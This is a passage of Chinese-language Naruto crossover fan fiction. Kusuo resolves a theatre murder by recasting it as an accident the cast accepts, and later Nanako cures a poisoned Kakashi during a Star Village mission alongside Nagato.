“导演,女演员,他们一个受到了恶魔真悟的威胁,一个知道了对方受到威胁,都对真悟心存杀意。” 他一边说着,双手像是洗牌一样将牌随手打乱,而后用两根指头抽出两张,随手摔在了布景内国际象棋的棋盘上。 这两张都类似于简历照,也不知道是他顺手从哪个资料簿里拿到的。 楠雄又顺手捻起两枚白色棋子,一枚国王,压在了道砚的照片上,一枚王后压在了雁元的照片上。 他弹了弹手上的照片,又夹出一张,指尖微动,面对众人展示出来。 照片上是一个少女,面容质朴,发型乱糟糟的,可是又和芳朵的那种伪造的朴实不同。 “这是花庄。”楠雄说着,众人惊异的目光都落在了花庄身上,才发现这个朋克女已经僵在了原地。 “说起来也没什么特别的,只是姐姐进入了大城市,结果没想到被真悟骗到自杀而已,她……也有复仇的理由。” “不是!”花庄喘着粗气,“那只是因为我姐姐是个笨蛋而已!我才不会为她复仇!” “这可不是你说了算的。”楠雄随手一撇,照片旋转着落在棋盘上方,然后一枚白色棋子压了上去,是骑士。 他又抽出一张,看了一眼,“哦,这是战车。” 放下照片,压上棋子。 “复仇的理由也乏善可陈,因为把柄被真悟捏住,所以不得不为了钱贪污,可是这简直就是一个黑洞,不是吗?” 稻具眼睛乱转,听到楠雄没有说出他的把柄是什么,反而松了口气。 “最后,是主教。”楠雄放下了芳朵的照片,“真悟新的猎物,当然,她的价值比花庄的姐姐要高,他还在找合适的买家。” 众人的目光聚集在芳朵那张不甚美貌的脸上,都有些奇怪。 她嘴唇微抿,低下了头,一手掐住自己的手臂,只是沉默。 “最后,是春风真悟。” 楠雄打了个响指,随手将真悟的照片抛下,照片飘飘悠悠落在了棋盘的另外一边,刚好就在黑色的国王面前,他挥动着手臂,用咏叹调一样的语气说: “一个叛忍,一个皮条客,一个胁迫者,一个暴力狂!” 他收回了手,一手撑在了棋盘的一边,一手手指重重点在照片之上,抬起眼时,那双紫色的眼睛在绿色的墨镜下闪着寒光。 “他,死有余辜。” 【额,好像……被反客为主了啊。】 被楠雄盯住,卡卡西的心中升起警惕,回忆起眼前少年的资料。 按照剧组人员的介绍,面前的少年叫做楠雄,是因为太帅了,所以被介绍到剧团打工的失学少年。 但是无疑,他简直和楠子一样敏锐,不然,他旗木卡卡西可无法理解,对方一个普通人,怎么可能在这么短时间内,搞清楚这剧团里所有的隐秘和八卦的呢? 是的,无论是楠雄简短的话语还是众人的反应,都证明了齐木楠雄或许知道那些被要挟的原因和把柄是什么。 只是他顾忌着剧场众人的面子,没有说而已。 【这还真成了侦探剧场了啊。】卡卡西暗自琢磨。 楠雄没有理会众人。 他干脆一翘腿歪歪斜斜的坐在了国际象棋桌边的扶手椅上,手一摊:“好了,现在人物聚齐了,我就来讲讲故事的情节吧。 “就像我刚才所说的,春风真悟是一个叛忍。身为一个忍者,他虽然不那么优秀,但总算还有敏锐的直觉。他知道自己招人恨,也知道有人想要杀他,可他根本不怕。因为他知道被他所威胁所迫害的人,根本就只是弱者和懦夫。 “可是他们的杀意给了他灵感,作为一个帅哥演员,他觉得自己得到的关注远远不够。在一个一般大小的侦探剧演B角?哈,别开玩笑了,像他这样的帅哥演员应该得到更多的关注才对呀,可是没有人来挖掘他。但……” 楠雄拉长了调子,扶住了眼镜:“如果这个剧场发生了一起命案,而且受害者是他呢?被整个剧场迫害却幸存的男演员,他已经做好了准备,要以不死鸟之名重新活在这个世界上。受害者已经存在了,那么凶手呢?” 楠雄抬起了手,掌心向上,手指一个一个划过众人怔住的脸庞,唇角勾起一抹笑。 “这不是……刚好就聚集在这里了吗?你瞧,他是个叛忍,这么三、四米的高度根本难不倒他。” 楠雄指了指舞台上的威亚,“所以第一个就是要利用上面的威亚,而后是底下的道具刀,再次说明一下,他是 个叛忍,完全可以在空中借力,躲开那把刀。 “然后就是毒药了,为什么一定要是今天?是因为今天有老板到来,他必须替换河星,为此不惜给河星下泻药。而后将三种毒药放在三个被自己威胁的废物的身上,而后自己服下少剂量的毒药。 “但是他失算了。即便是剂量很小的毒,三种混合起来,也不是他一个普通叛忍能够抵抗的。 “于是,意外发生了。” 楠雄终于呼出口气,自信的面容上越发淡定,捻起了白色的“士兵”,轻轻撞倒了黑色的“国王”。 “威亚确实断了,可他的身体被毒素麻痹了,没有躲过底下的道具刀。所以,他死了,死在了设计、巧合和命运之下。” 他抬起眼,笑意带着几丝诡秘: “这……难道不是一个完美结局吗?” 众人看着楠雄,都说不出话来。 “这剧情也太强行了。”道研喃喃,“就算拍出来也不会有人想看的。” “不,这要是再打磨一下就可以了吧!”雁元微微咬紧了唇,看向了旗木卡卡西,“比如这个剧集当中的反派,真的是个恶人,而那位女演员也是因为早些年做错了事情,被她拿到了一些不堪的照片,所以才受到威胁,需要做一些她自己都不齿的事。” 花庄微微一怔,也反应了过来雁元在做什么。 这个剧场里面都是自己人,连老板都不在乎春风真悟是怎么死的,那么所需要说服的人就只有两个。 旗木卡卡西和野原琳。 何况她是极乐意替自己的姐姐讨回公道的。 她迈前了一步,咬牙切齿道:“对!故事里那个姐姐或许也是被这样控制住的,直到最后一刻,她都幻想着他能够救她,可是那怎么可能!那个恶棍!” 稻具稀里糊涂,他扭转着脑袋想要向周围的人确认:“是啊,他如果是个叛忍,那么就真的可以躲开的吧?对吧?对吧?” 道研的嘴角抽动了一下,想要说些什么就对上了雁元严厉凶狠的眼神。 “……哦哦,那应该是这样。”他搓着只剩下浅浅一层发茬的头皮低下了头,“忍界的战争,每年都可以死那么多人,为什么这一次意外死去的……不能是他呢?芳、芳朵……你说呢?” 芳朵还在怔怔看着齐木楠雄,因为她知道楠雄为什么要这么做。 【是因为我吗?但是……完全不值得啊……】 她的眼底逐渐涌上了泪水,芳朵按了按自己穿着厚厚衣袍的手臂,那里有着一圈一圈的咬痕,声音讷讷,“我不知道,可、可是我想,应该可以写出一部出色的社会派推理吧。” 【本格派的话就差远了。】身为编剧的素养让她这样想。 可这也足够了。 楠雄点了点头,又挑起嘴角看向了对面的旗木卡卡西:“那么老板娘,您觉得呢?” 他的话是在问老板娘,但实际上那双深紫的眼眸却一直落在了卡卡西的身上,像是逼他做出表态。 ‘会怎么样呢?’楠雄判断着。 卡卡西一向是偏向正义的,但他同样也有极度的包容心和仁慈心。 他……应该不会不接受吧? 60.结束 果不其然,卡卡西暗自权衡利弊,脑中思绪万千,原本紧绷的神情慢慢缓和下来。 他最终开口:“哼,真没办法,我想……大概就是这样吧。” 走上前,他居高临下看着安坐在椅子上的楠雄,神色重新变得严肃:“但齐木楠雄,你要记住,这种投机取巧的花样只能应对一时,别忘了你的身边还有牵挂你的人。” ‘牵挂我的人?……是指野乃宇和兜吗?’楠雄微微一怔,可他的耳边却都是众人此刻的心音: 嘴硬心软的雁元、紧绷忐忑的花庄、茫然不安的稻具、复杂感叹的道砚,以及心绪沉重的芳朵。 那复杂的心音不再是束缚而像是安抚的小调,由沉郁转向了欢快轻松的曲调。 可他明白,卡卡西这番话不单单是说此刻的自己,也是在指代齐木楠子。 ‘有许多人牵挂我,担心我,所以,我不应该自作主张吗?真不愧是卡卡西呢,纵然看起来像是完全没关系的人,但还是会被他打动到。’ 楠雄心中有些复杂,站起身伸出手:“多谢卡卡西上忍了。” 卡卡西蹙了一下眉,别开了目光,抬手握住他的手。 “啪啪啪”的掌声响起,楠雄看去,原来是老板。 “这结局倒是挺不错的嘛~”她眉眼带笑,语气轻快,“啪”的一声打开怀表,光一扫全场,顿时板起了脸。 “可距离开场只有一小时了,还愣着干什么?抓紧动手干活!今天可是剧团一炮而红的大日子!” “呃,可是河星前辈还没来啊。”众人满脸诧异。 老板娘挑了挑眉,“我们这不还有个自认是‘演技小天才’的人吗?” “嗯?”众人目光看来看去,最终还是落在了扶住眼镜撇过头的齐木楠雄身上。 “别看我,我不……” “楠雄,快点!我来给你化妆!”花庄拉住了楠雄。 “唔,雁元你也该去准备了,稻具,赶快带人把道具准备好!” “好、好的!”稻具答应着,而雁元已经疾步冲向了化妆间。 “借过借过。” 卡卡西和琳被赶下了舞台,看着老板已经拉着芳朵开始安排,让她根据楠雄说的,再美化一下,整理出一份等会她要对着媒体讲的内容。 他们两个忍者就站在一边,除了老板的助理来招呼了几句,再也没人理会。 大戏开场,这一次居然真是齐木楠雄担纲主演。 看着他穿着白色的戏服,在舞台上大声念着台词,做出各种夸张的动作,卡卡西还真有点不适应。 “楠雄,在某个方面,还真是有点天赋呢。” “嗯?”坐在道砚身边的卡卡西有些意外,虚下眼,“方才不是都觉得他演的不好吗?” “哈哈哈,那是因为他当时没有分析角色呢。现在他演的,可是选择了河星和真悟的优点,将他们全部展现了出来。”道砚摸了摸下巴,“也就是说,只要给他足够的时间,他就是个天才也说不定。” “什么?”卡卡西有些意外,他又想起了楠子。 楠子也是一样吧,即便起步晚,但是只要给她足够的时间,她的天分一定也能展现在大家的面前。 想到这里,他也露出了笑容,看着众人谢幕,鼓起掌来。 ----------------- “所以说,这一次,你见到了琳,还见到了我的双胞胎哥哥。”楠子像是有些意外地抬起眼。 “……喂,你这神情根本一点都不意外嘛!”卡卡西几乎是受不了地咧了咧嘴,“啊,不过还不知道是不是你的哥哥呢,他当时也是这种神情。” “啊,是吧?对于我们来说,相聚和离别都是常事,只要知道对方好好活着就行了。”楠子神色间带上了一丝怀念和恍惚。 卡卡西看着她,一时说不出话来。 他记起了当初和齐木楠雄的对谈,对方还未卸妆,神态中也是这种神色。 “啊,那楠子也是忍者喽?如果是她,应该能好好活下来吧?……至于我,我还是不去木叶了,不然,不就不能继续我的演艺事业了吗?” 卡卡西当时就想说,就算是楠雄回去,那他也能继续演戏。 可想想看,楠雄不去木叶还好,如果去了木叶,楠子想要继续在忍者之路上前进的话,楠雄就必须作为家人呆在木叶。 不管是起到保护的作用还是人质的作用都是这样。 于是,他什么都没有说,甚至假作没有想到这一节一样,未加提醒。 现在,他从怀里掏出一张照片,外加一个用密封袋装着的一缕头发。 “你可以先做个检验。” “哦。”楠子说着,不置可否。 卡卡西看不出来她在想些什么,只见那双深紫色的眼睛一抬,望着他,半晌才道:“那么,礼物呢?” “什么?”卡卡西有些错愕。 “你难不成只带了这个给我吗?”楠子叹着气,“我不觉得一向周到的旗木卡卡西会这样呢。” “呃,是吧?”卡卡西答应着,渐渐的,脸却红了起来,“是、是咖啡果冻和巧克力。” 【这个……不会太明显了吧?这是琳推荐的,如果说出来的话,楠子会生气吗?】他还想着巧克力呢,根本没注意到楠子隐藏在眼镜下亮晶晶的眼睛。 ‘终于等到了!我的咖啡果冻!’ 以楠子下忍的身份,想要在木叶吃到银之都的咖啡果冻,简直太难了! 如果不是这样,他也不会以楠雄的身份大力推荐卡卡西买咖啡果冻啊! 至于琳推荐的巧克力…… ‘生气倒是不会哦。’注意到卡卡西期待的眼神,楠子伸向了咖啡果冻的手一顿,转了个弯拿起了巧克力的盒子,拿出其中的一块,放入口中,有种甜蜜的感觉在口间化开。 “很好吃。”她露出了浅淡的笑容,仅仅这样,对面的旗木卡卡西就也露出了笑容。 只是……她最爱的,果然还是咖啡果冻。 楠子目光炯炯地看向了咖啡果冻的盒子。 房间外突然出现了几个人头。 药师兜和几个小孩扒着门框,露出了笑容:“嘿,卡卡西前辈!你来了啊!有带什么好吃的吗?……哇!巧克力!大家快来!” “喂,你们等等!” “哦哦哦!谢谢卡卡西前辈!” “我说等等啦!” 现在,哪怕是旗木卡卡西上忍,也没法阻止肆意“劫掠”的孩子们。 在一片混乱中,楠子终于享受到了自己最爱的咖啡果冻。 ‘唔!幸福!’她抿着唇,眯起了眼睛。 【……好可爱。】 “嗯?”她睁开一只眼,看向了有些发愣的卡卡西。 ‘还是老样子啊。’楠子几乎是有些无奈了,可又像是有什么东西松懈下来,让她也露出了真心的笑意。 嘴唇微动,在一片喧闹中,她无声地对卡卡西说:“谢谢你哦!” 无疑,对方的脸,再次变得通红。 ----------------- 就这样,时间过得飞快。 水门老师结婚后,不到一年,他的妻子就生下了儿子波风鸣人,现在鸣人已经2岁了。 旗木卡卡西的妹妹美美子也已经3岁。 药师兜破格成为了根组织的下忍,红豆成为了中忍,可她依旧不算是根组织的忍者,只是跟着大蛇丸进行学习。 要说现在大蛇丸那些奇奇怪怪的忍术,反而是红豆掌握的比较多,依旧是下忍的楠子,却连和大蛇通灵兽的契约都没签订呢。 在楠子看来,大蛇丸就是想让她着急而已,但她十动然拒。 “楠子!” 早就已经发现对方的靠近,但是齐木楠子还是假作诧异地回过了头。 粉色的发丝自肩头滑下,已经16岁的少女肌肤依旧像是百合花一般洁白,一副金丝边的平光镜架在鼻梁上,遮掩住了深紫色眼眸里的微光,让她更显得精致而文秀,淡紫色的衣袍在腰间一束,更显得婷婷玉立。 只她一开口就如同初冬将冻未冻的湖,显得有些冷淡。 “带土,好久不见啊。” “是哦。嘿嘿~你不会在想怎么不是卡卡西吧?” ‘你哪只眼睛看见我在想卡卡西啊?’楠子面无表情,带土习以为常,自顾自地就接了下去: “你不要担心!我了解卡卡西的,他那个家伙认死理!只是因为现在正是艰难的时刻,所以才不得不忙碌起来,不和你见面啊。” 几年前,在卡卡西和带土看来,楠子无疑是知道了卡卡西的心意,更默许了他的追求,只是从去年开始,卡卡西就一心扑在任务上,两人见面的次数反而也减少了。 “我不会在意这些的。” 楠子其实知道为什么。 从去年开始,三代火影就抽调了卡卡西加入暗部。 一开始卡卡西还很兴奋呢,结果接触了那些他根本不想去完成的任务之后,逐渐变得灰心丧气,乃至于在愧疚自责的同时,躲着自己。 暗杀啊、偷盗啊、挑拨离间啊、阴谋陷害啊…… 他当然能将那些任务顺利完成,因为他是“天才的旗木卡卡西”,可是不开心就是不开心啊。 就算是楠子想要帮忙,可也只能在日常关照对方,而后又让他陷入了“不行,在我完成这些任务之前,我不能将这些晦暗的事带给楠子”之类的想法之中。 在众人的眼中,那就是旗木卡卡西变得冷淡。 虽然有些无情,但对于楠子来说,这种冷淡或许更加轻松,只是,如此放任下去,卡卡西说不定会“坏掉”吧。 到底要怎样掌握好尺度,既让卡卡西不要突然告白,又能让他恢复精神呢? “难呀,真难……” 楠子不自觉道,就见絮絮叨叨的带土怔然停住了脚步,“什么难?任务吗?呃……这个方向,你是去做什么?” 她望了望街那边的方向,转回了脸,“当然,是去旅行啊。” “旅行?”带土瞪大了眼睛,“你、你、你不是听闻了阿斯玛的事,也想着跑出去吧?” “怎么可能?”楠子有些无语。 阿斯玛的事她知道,不就是火影老爷子想让自己的儿子加入暗部,结果被一整个大反弹,阿斯玛一气之下气了一下,就跑到了外面吗? 但是齐木楠子这次出门可是有目的的。 她深紫色的眼眸闪过一抹暗光,“没什么,只是在思考,我的师父……到底需不需要我这位弟子帮帮忙而已。” 61.谎言 楠子的师父需不需要帮助不知道,但是此刻远在熊之国,却真的有人在想她。 ‘真不像样啊,卡卡西,如果倒在这种地方,楠子会怎样看你呢?’ 木叶暗部上忍旗木卡卡西正背着一个女孩,奔跑在森林之中。 手臂和脚步都逐渐沉重,胸口就像风箱一样,发出阵阵闷响。他知道这是中毒的症状,停下脚步说不定能有所缓解,但是…… “小心?!” “呃?!”卡卡西的脚步一个趔趄,差点没有站稳,他扶住了树干剧烈地喘息,看了看周围,他心中转过几个念头,抬手结印。 另一个旗木卡卡西背着女孩向前冲去,他则拉住了那个女孩的手,在对方惊愕的目光中,跃下了山脊。 “卡卡西……” “不要说话!”卡卡西将脊背紧紧贴在了岩壁,那个女生也立马照做。 山脊上的脚步声由远而近,停在了上方。 “人呢?找到了没有?” “还没有,应该只是在这里停了一下,在前面!” “妙火就不说了,那个忍者中了毒,应该跑不远。” “嗯!”他们匆匆离去。 卡卡西紧皱的眉头舒展开,可刚一放松,口腔里便再次传来麻痒感,紧接着就是一连串努力压制后的咳嗽。 他捂住了嘴,咳出来的并不是鲜血,而是像是霉菌一样毛茸茸的东西。 ‘这……这是什么?’他惊愕地瞪大了眼,旁边的女生就挨近过来,很是担心地看向了他。 “这是星隐村外的毒障,只要我用‘孔雀妙法’……” “不用了。”卡卡西打断了她,他并不是轻信的忍者,何况那个“孔雀妙法”恐怕也有点问题。 求援鹰已经放出去了,现在就看周围有没有木叶的忍者能够前来。 妙火明显不了解他的想法,着急道:“可是卡卡西,现在还是初级的征兆,再拖延几天,又没有医疗忍者的话……就算是你,也会死在这里的。” 她的眼睛里涌出了泪水,“我不想你死,我、我喜……” “咳,我知道。”卡卡西半虚着眼,直接打断了对方的“施法”,“我的女朋友就是医疗忍者。” 妙火几乎是怔住了,“女、女朋友?” 卡卡西假作没有发现对方的震惊,可是想到了楠子,他连眉宇都变得柔软。 “是的,咳……她温柔善良,美丽大方,呼……医术精湛只是她最不值一提的优点了……” 卡卡西诉说着,眼前似乎真的出现了楠子的影像。 心中变得甜蜜,脑袋逐渐昏沉,就像是将睡未睡前那极致的放松与欢愉。 ‘楠子?……不对!我现在是在执行暗部的任务,她不会出现在这里!’ 心中如针扎般刺痛,他试着让自己冷静下来,捂住了胸口,却感觉自己越发难以呼吸。 就在这时,他感到有人注视,抬眼一看,对面的树干上,不知何时站着一个穿着深黑色斗篷的人。 没有看到对方的脸,他却能注意到那强烈的复杂目光。 ‘呃?什么时候?我居然没有发现?!糟糕……’惊愕之间,他的意识竟然逐渐模糊,一头栽倒下去。 那穿着斗篷的人斜飞而来,拽住了他。 “你是……”妙火浑身紧绷,却在见到那人的信物之后,安静下来。 ----------------- 夜渐渐深了,黑漆漆的山洞里出现了一小丛篝火,劈啪作响间,传来烤肉的香气。 卡卡西鼻尖动了动,抬起了有些昏沉的脑袋,鼻子和喉咙间还是一片憋闷,他努力睁开眼就见妙火睡在洞穴的另外一边。 ‘是有人救了我们吗?’他蹙起眉。 接到暗部的任务也只是十多天之前的事。 星隐村自建村以来,首领就自称星影,虽然各个大忍村都不理会这件事,但是还是需要每过一段时间就查探一下这个村子的情况。 而最近,似乎传来了星隐村藏有能够提升实力的至宝的传闻。 他接到了任务,需要前往星隐村,拿到星隐村的至宝,送回木叶。 ‘我不会是被前辈给整了吧……说这个村子实力不强,却没有给我足够的情报。……也是我自己大意了。’ 他一路行来,隐匿踪迹。 路上见到星隐村的忍者追杀妙火,迟疑了半晌,还是在那个忍者露出猥琐神情之时出手,直至到现在,了解清楚了妙火被追杀的缘由,他也被卷入了麻烦事当中。 “卡卡西,给。” “嗯?”卡卡西猛地一惊,就感觉有人按住了自己将要跃起的身体,抬眼一看,居然是…… “长门?……你怎么会在这里?” 来人正是雨隐村的长门。 三年过去,他俊秀的面容中多了几分属于男人的坚毅,可是比起那些粗犷的忍者依旧显得斯文,瘦弱的体态也不像是个厉害忍者,可卡卡西知道对方的强大。 更兼有一些私人的原因,让他对长门怀有警惕之心。 想到这里,卡卡西面色不变,转动了一下自己的身体,已经借由肌肤的触感确认了武器的所在。 “受人之托。”长门只说了这几个字,瞥了一眼安睡在另外一边的妙火,压低了声音,“你知道星隐村的秘术吗?” “孔雀妙法吗?”卡卡西依旧戒备。 “对。据说,他们是用一块自天空中坠落的石头进行修炼,从而加强了自身的力量。” 这件事妙火给卡卡西说过,如果不是这样,卡卡西也不会这样快地信任妙火,更何况,这事关他的任务…… “我得到消息,这种修炼方式对人有害,对方希望能够获得雨隐村的帮助,所以我来到了这里。”长门缓缓道来,卡卡西只是垂眼沉默。 近几年来,雨隐村发展极为迅速,与此同时,弥彦也在努力将自己的理念传播到忍界之中,很多忍者村都得到了帮助。 和雨隐村不同,木叶作为一个大国忍村,兀自占据着这个世界上最富饶的土地,却不能轻易出手,这时常让卡卡西觉得沮丧。 更让他难受的还是自己的任务。 没有对比就没有伤害,自己的任务是将星隐村的至宝偷到木叶,而对方的任务却是受人之托提供帮助。 ‘楠子,恐怕更赞同长门的做法吧?她和长门的关系也并不差……’ 猜忌如同藤蔓缠住了他的心。 ‘可楠子明明什么都没做啊……为什么我要去这样想?可真是卑劣啊卡卡西,因为自己成为了一个不够道德的家伙,就希望楠子也如自己一样了吗?’ 卡卡西感到头部传来刺痛,口鼻也像是被湿漉漉的棉花堵住。 可纵然他的神情难看,长门犹豫了几秒,还是压低了声音正色道:“卡卡西,我知道你那样说,可能是有原因的,但是我记得,楠子应该并不是你的女朋友吧?” “噗”地一声,长门的面前出现了一个被烧到熟透的精英上忍。 ----------------- “呀~呀 ~” 天空中飞过一只……嗯?通讯鹰? ‘是木叶的?怎么会在这里?’坐在马车上,齐木楠子抬头望着,循着鹰飞来的方向,她使出了千里眼,不过几秒就看到了卡卡西被长门抱住的那一幕。 ‘是卡卡西?但是长门在的话,应该不会出什么问题吧?’她沉吟着。 “怎么了?楠子姐?”药师兜自车斗里面探出头,望了望天空,“啊,是木叶的求援信号吗?那么,我们赶快去吧?” “嗯……”楠子瞥了一眼药师兜,又收回了目光。 此次外出旅行,她其实只是为了以“齐木楠子”的身份搞清楚一些事。 关于大蛇丸的,关于他的研究的。 虽然使用瞬移、透视或者千里眼之类的术也能够解决,但是那样的话就反而不好向木叶交代前因后果。 何况……经过这几年的相处,她也总愿意再给师父一个机会,只是希望……他不要令她失望而已。 “楠子姐?” 目光自书页上离开,楠子瞥向了兜,“我去看看,但是你,能一个人去吗?” 药师兜抿起嘴笑了起来,“当然可以!我好歹也已经经过了根组织的考验了呢!” ‘这有什么好自豪的?’楠子想着,可她更明白,药师兜比她更担心大蛇丸。 那个家伙在不知不觉之间,已经“俘获”了兜和红豆的心,反而是一些更年长一些的忍者,不再听信对方的鬼话,慢慢向着楠子靠拢而来。 这些年长一些的忍者,要么是平民出身,要么本来就是孤儿院里原本被根组织吸纳的忍者。 他们在楠子逐渐显露实力之后,不但放松了心防,还提醒她小心大蛇丸。 如果不是这样,她恐怕还没法发现大蛇丸的异常呢。 按了按眉头,楠子又看了一眼有些兴奋的兜,恐吓道:“你这一路安安生生的,如果让我知道你做了什么不好的事,哼……” “没问题,楠子姐!”药师兜说着,看着楠子消失在原地。 纵然使用了瞬移,楠子却还是没准备立刻出现在长门和卡卡西的面前。 那样长门不会奇怪,但是卡卡西肯定能够计算出相应的时间,从而质疑楠子的出现。 只是连她也被吓了一跳呢。 见到了她,不是应该高兴的吗? 至少哪怕这段时间,卡卡西总是板着脸,装出冷淡的样子,但内心里也总是会放起欢欣的歌。 但这是怎么了?怎么根本不敢看她的样子? 反而是长门迎了上来。 “楠子,怎么是你来了?” “我路过这边的时候,看到通讯鹰,所以就过来了。长门,你怎么在这里?” 楠子说着,眨眼之间就从长门的大脑中读出了缘由。 因为她说过,或许陨石能伤到她…… ‘什么?就因为这样的原因?’ 楠子看向长门的目光几乎是有些奇异,或许是盯的时间有点长了,卡卡西的心声终于吵闹起来。 而更直接的,则是眼前的女孩。 “你、你就是齐木楠子?”一头褐色头发,长相精致秀美的女孩目光紧紧盯着她的脸。 【温柔善良,美丽大方?……美丽倒是真的,但是怎么看都不是温柔善良的女孩吧?……卡卡西,果然是在骗我吗?】 ‘……我看着不够温柔善良,还真是抱歉了啊。’楠子木着脸看着对面和她差不多大的女孩咬了咬嘴唇,小心问:“请问,你是,卡卡西的女朋友吗?” 62.救治 楠子眼神震颤,余光扫向了那边已经用手捂住了脸的旗木卡卡西。 目光还未转过一圈,她已经弄清楚了前因后果。 ‘真没想到……卡卡西不会在其他地方也这样败坏我的名声吧?可恶,我又不能在这种时候拆穿他。’ 感觉到对方自手缝中涌出的注视,她直接木起了脸,直视着妙火的眼睛,点了点头,“是。你是?” “啊……是、是卡卡西救了我。” 因她那过于冷静的态度,妙火莫名其妙就觉得矮了一截,“这几天,是卡卡西在照顾我。” “哦。”楠子没有理会妙火的话,迈步走到了同样露出诧异神情的卡卡西面前。 方才他都差点缩成一团了,现在却在想七想八。 【等等!楠子是答应我了吗?不会吧不会吧?原来这么轻易吗?在这种时候……我还病恹恹的……咳……】 他咳得喉咙刺痛,眼角都在发红,楠子抬起了手,按在对方的额头之上,卡卡西就感觉有股清凉的查克拉自额头慢慢传导到了喉间。 就像是在极度饥渴的时候,饮下了清粼粼的水,无论是那嗓子间的痒还是微微发闷的胸口,都得到了缓解。 尤其他感受到了楠子肌肤的温度。 就像是一片花瓣落在了手心之上,带来了一股淡淡的冷香。 自从三年前以后,他们再没有过分亲近的举动。 他是不敢造次,楠子则是没有那样的习惯。 毕竟,她看起来就像是冰做的美人,哪怕欣喜也只像是微风吹拂。 【楠子……】他的额头轻轻一动,像是追逐花朵的蝴蝶一样,追上了楠子将要离开的手,却又在下一刻因对方指尖轻点的动作而止住。 卡卡西这才发现自己做了什么,脸再次涨得通红。 他感觉到楠子的目光,似乎带着一点点埋怨和无语。 但那应该只是他的想象,因为她永远是那样冷静,就像是现在这样,让他安心,也让他心焦。 “卡卡西中了毒,我要给他解毒。”她微微侧过脸,目光轻盈地转过。 那边长门顿了一下,才露出了恍然的神色,“是秘术吗?这样的话,我们确实不好再呆在这里了。妙火小姐,我们先出去吧。” “嗯……”妙火一步三回头地走了,楠子才回过头。 卡卡西又开始东想西想,不知道是不是因为思维太过敏捷,他头脑中瞬间能冒出的想法简直像是枕头里纷乱的毛絮。 看着他那可怜的模样,楠子自心底叹了口气,坐在卡卡西旁边,“头晕吗?靠在我肩头也可以哦。” 身边没有声音,半晌,肩头却微微一重,被额头抵住,卡卡西并未将所有的重量都压在她的肩膀上。 “这样,难道不会脖子痛吗?”楠子问。 “……不会。” ‘还在硬撑呢。’楠子感觉有些无奈。 不知道是身为少年人的倔强,还是因为她曾经说自己喜欢“冷面酷哥”,所以自从加入暗部之后,卡卡西什么都不曾与她说过。 ‘就算只是身为朋友,我也会想要关心你的啊……啊,真是糟糕,这种话,我也是说不出来的呢。’ 心中涌出些微的苦,又被强自压下,楠子并未看卡卡西,声音淡淡: “我可不是想让你告白,但是让我装成你的女朋友,可就只有这一次哦。” 卡卡西没有出声,但是肩膀上的重量加重了,随之传来的还有他那酸涩的心声。 【呵,就算是我想要告白,你也不会答应吧?……现在的我,又怎么能向你告白呢?】 他的脑海中闪现出一些污浊的画面,杀死同村忍者的,猎杀他国平民的…… 只要想想,脑袋中就传来刺痛。 可是,只要在楠子身边,那些刺痛,就会有所缓解。 【是因为我在爱着她吧……】 心中的甜蜜夹杂着痛楚,卡卡西更深地垂下了头。 缓缓收起了异能,楠子几乎也觉得自己能够体会到那种疼痛了。 ‘呀嘞呀嘞,现在还在为暗部那些任务而感觉难受呢。’ 要让楠子来看,暗部的那些任务基本上和羞辱游戏差不多了,让满怀希望的年轻人去做一些脏活烂活,然后不断试探对方的底线,直到将对方的心锻造成钢铁。 但是有的人心如冷钢,有的人却会心理变态。 至少楠子是这样看的。 卡卡西父亲健在,又有了同父异母的妹妹,队友全部活着,在他现在的记忆之中,几乎没有什么让他心痛到难以呼吸的事。 这样的他,在接触到那些事务的时候,自然会纠结到辗转反侧,只是无论是面对已经有了新的幸福的父亲还是对他寄予厚望的师父,都难以言说。 ‘但是……就算是对我也不能说吗?’ 就这样,还想着什么告白呢?真是半吊子。 脸上面无表情,她的内心却在苦笑,而且还很大声呢。 楠子的眼珠微微转动了一下,嘴角轻抿,“你这次任务是什么?” “……” “我看你全副武装的模样,应该也不是随意到这里的吧。” “……” “我沿途就听说了,星隐村的‘孔雀妙法’……” 手臂被猛然攥紧,楠子慢慢转过头,就对上了一双冷然的眼睛。 只是那双眼睛在她的注视下慢慢融化,他又低下头,低声说:“这是我的任务。” 楠子望着他,“可是我是来帮你的。” 无论是这次的任务,还是其他。 因为……我们不是朋友吗? 她没有说出这句话,但是却认为卡卡西应该明白。 可他不明白。 像是往常一样,他只是摇了摇头,“我会解决的。” ‘是哦……因为你是天才的卡卡西嘛。’楠子都不知道他是怎么用那快要晕倒的身体,说出这种话的。 ‘第一次机会,就这样被你消耗掉了啊。’她深深看了卡卡西一眼。 事不过三,楠子准备给卡卡西三次坦白的机会。 当然,就算是他不坦白,楠子也会帮助他,只是她还是希望卡卡西能理顺他那些纠结灰败的情绪,重新恢复到之前自信到傲慢的姿态。 她收回目光,轻声道:“那么……就睡一觉吧。” “嗯?”卡卡西有些诧异地看她。 “只要睡一觉,你就能慢慢恢复了。”她说着,假装在包里找东西,而后从中掏出一个巨大的针管。 在卡卡西惊愕又恐惧的视线中,楠子掩嘴笑了起来,“总之,我们强大的旗木上忍,应该不会害怕打针吧?” 昏暗的山洞中,旗木卡卡西猛地冷颤了一下。 ----------------- 十分钟后,楠子信步走出山洞,远远就看见长门和妙火正在说些什么。 妙火看到她,疾步走过来。 “那个,卡卡西他……” “我让他先睡一觉,休息一下。”楠子说。 “哦。”妙火说着,就想向着山洞走,又忽然意识到什么,转过身就对上了楠子和长门的眼神。 一个平淡,一个复杂。 她的脸蓦地有些发红,“我、我去看着火。” 长门的目光转向了楠子,可没什么经验的妙火并没有发现,得到了楠子一个点头,就疾步走了进去。 “卡卡西是因为看出来了这个女孩的心意,所以说你是他的女朋友。”长门走了过来,站在了楠子的身边。 “嗯。”楠子点了下头,她早就知道这一点,却也没想到长门会为卡卡西说话。 她料想长门也该知道,她需要的是另外一些更重要的情报。 果不其然,下一秒,长门就将他此次的来意说了出来。 原来是雨隐村“及时雨”的名头越来越大,居然真的有外村的忍者前来求助。 那名忍者名为萤火,他自身的身体也受到了“孔雀妙法”的影响,深知这个法门的不妥之处。 萤火在雨隐村周边隐藏观察了几个月,终于将星隐村的事情说了出来。 “你是说,星隐村是依靠陨石修炼的?”楠子的神色有些微妙。 这并不是因为星隐村的陨石,而是因为长门的心声。 他坚持要自己主导这次任务并且先行来查探,居然是因为自己几年前随口的一句话。 那时因为她伪作受伤,所以长门询问她,什么能够伤到她,她随口说“核弹、陨石,或者火山爆发吧”。 于是,这次捕捉到了“陨石”这个关键词,长门立刻就出发来到了这里,甚至没有等待后续的大部队。 如果没有遇到卡卡西一行,他说不定已经摸到了村子里,将那块陨石毁掉了。 